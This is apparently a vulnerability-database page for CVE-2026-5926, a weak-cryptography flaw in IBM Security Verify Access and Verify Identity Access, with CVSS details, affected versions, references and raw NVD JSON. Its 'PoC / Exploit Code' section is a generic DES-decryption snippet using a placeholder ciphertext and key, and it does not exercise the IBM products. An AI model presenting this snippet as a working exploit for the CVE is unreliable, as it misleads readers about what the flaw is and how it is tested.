CVE-2026-5926

Description

IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:* - VULNERABLE

IBM Verify Identity Access Container 11.0 - 11.0.2

IBM Security Verify Access Container 10.0 - 10.0.9.1

IBM Verify Identity Access 11.0 - 11.0.2

IBM Security Verify Access 10.0 - 10.0.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import base64
from Crypto.Cipher import DES

# Proof of Concept for CVE-2026-5926
# This script demonstrates the potential risk of using weak encryption algorithms.
# It simulates decrypting a captured ciphertext using a weak key (e.g., DES).

def decrypt_weak_cipher(ciphertext_hex, weak_key):
    try:
        # Convert hex to bytes
        ct = bytes.fromhex(ciphertext_hex)
        # Example using DES (a known weak algorithm)
        cipher = DES.new(weak_key.encode('utf-8'), DES.MODE_ECB)
        pt = cipher.decrypt(ct)
        return pt.decode('utf-8').strip()
    except Exception as e:
        return f"Error: {e}"

# Example usage
# captured_data represents sensitive info encrypted with weak algo
captured_data = "0123456789abcdef" 
key = "WEAKKEY8" 

print(f"Decrypted Data: {decrypt_weak_cipher(captured_data, key)}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5926
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5926
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5926/
[4] VulDB https://vuldb.com/cve/CVE-2026-5926
[5] https://www.ibm.com/support/pages/node/7269372

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5926", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:46.743", "lastModified": "2026-05-13T20:40:35.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-327"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "11212874-804C-42B2-AF5F-116F5C367237"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7269372", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}